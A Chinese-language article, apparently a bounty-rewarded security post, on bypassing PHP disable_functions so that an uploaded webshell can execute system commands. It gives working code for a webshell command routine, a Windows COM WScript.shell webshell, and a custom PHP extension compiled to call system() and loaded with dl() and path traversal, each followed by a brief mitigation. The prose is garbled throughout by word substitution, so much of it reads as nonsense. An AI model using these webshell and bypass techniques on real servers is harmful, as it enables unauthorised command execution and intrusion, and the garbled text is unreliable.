0x00 媒介
上传站点shell后,执行号令时可能或许没法执行了,这时咱们该分析下情理并想出绕过办法,戍守方也必需遵照绕过办法想一想更强的预防.
0x01 php 站点shell执行号令情理
php 站点shell(以下简称站点shell)下是怎么样执行琐细号令的?咱们找一个站点shell分析下
搜索环节字定位到以下代码
Default1234567八910111213141516171八1920212223242526272八2930313233343536373八3940414243444546474八49505152535455 | function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } |
即按腐臭调用system(),passthru(),shell_exec,exec,popen函数 腐败调用就不再往下调用
0x02制止站点shell执行号令情理
Php配置文件外表有个disable_functions = 配置,这个制止某些php函数,
办事器便是用这个来制止php的执行号令函数,
例如
Default1 | disable_functions =system,passthru,shell_exec,exec,popen |
便制止了用这些函数来执行琐细号令
0x03黑名单绕过
知道了情理后,咱们便能想出良多绕过的办法
起首是黑名单绕过
咱们看看php下梗概执行琐细号令的函数有哪些
Default1 | assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反单引号</strong>) |
那么 即可能看看php.ini中的disable_function漏过了哪些函数。
然后 hack it.
曾经在给某大企业做浸透测试时,未禁用assert 腐败执行号令
乌云上的案例 未禁用proc_open而引起
http://www.wooyun.org/bugs/wooyun-2013-015991
办理筹划:关注并征集php琐细号令执行函数,补齐disable_function项。
0x04 琐细组件绕过
这个办法实用于windows
看代码
Default1234567八9101112131415 | <?php $command=$_POST[a]; $wsh = new COM('WScript.shell'); // 天生一个COM东西 $exec = $wsh->exec('cmd.exe /c '.$command); //调用东西办法来执行号令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?> |
Shell.Application也可能实现一样的成绩
完全的办理筹划是 间接删除System32目录下wshom.ocx文件
0x05拓展库绕过
Linux下可通过编译拓展库停止绕过
Internet上的办法及民间的办法 都提示过错,
通过研讨 给出一种粗略编译PHP拓展库的办法
前方高能。
起首得知PHP办事器php版本,下载个近似或周围版本的php源码包
Default1234567八9 | tar zxvf php-5.3.10.tar.gz //解压缩 cd php-5.3.10/ext ./ext_skel --extname=dl //天生名为dl的拓展库 cd dl vi config.m4 |
将这三行
Default12345 | PHP_ARG_WITH(dl, for dl support, Make sure that the comment is aligned: [ --with-dl Include dl support]) |
负面的dnl去掉并保存
Default12345 | whereis phpize //找出phpize途径 /usr/local/bin/phpize // 运转phpize vi dl.c |
在
Default12345 | if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) { return; } |
这一行下添加
Default1 | system(arg); |
Default
1234567八91011 | whereis php-config //找出php-config的途径 ./configure --whith-php-config=php-config途径 make make install [root@TENCENT64 ~/php-5.3.10/ext/dl]# make install Installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20121212/ |
腐败天生了
查看php.ini的
extension_dir 项
将
Default1 | /usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so |
拷贝到extension_dir目录下
若extension_dir目录无写权限则可写入恣意目录用../../来绕过并调用。
把持代码:
Default1234567 | <?php dl("dl.so"); //dl.so在extension_dir目录,如不在则用../../来实现调用 confirm_dl_compiled("$_GET[a]>1.txt"); ?> |
查看1.txt即可看到号令执行后果
预防办法:将dl函数插手disable_function中禁用
赏金发放环境:本文获得赏金200RMB,已于4.15日发放到作者账号。
征稿启事:91RI不停信赖“你不与人分享,谁与你分享”,分享简直是件十分蓄意义的事件。为了让精美的同窗有 地方分享自己的独到见解,也为了让更多同窗从分享中受害,同时咱们也渴望给那些欢畅分享的小伙伴们一点点情义作为感激,所以咱们慎重了推出“有奖征文”活 动!本次活动的皮相可能围观《征稿启事》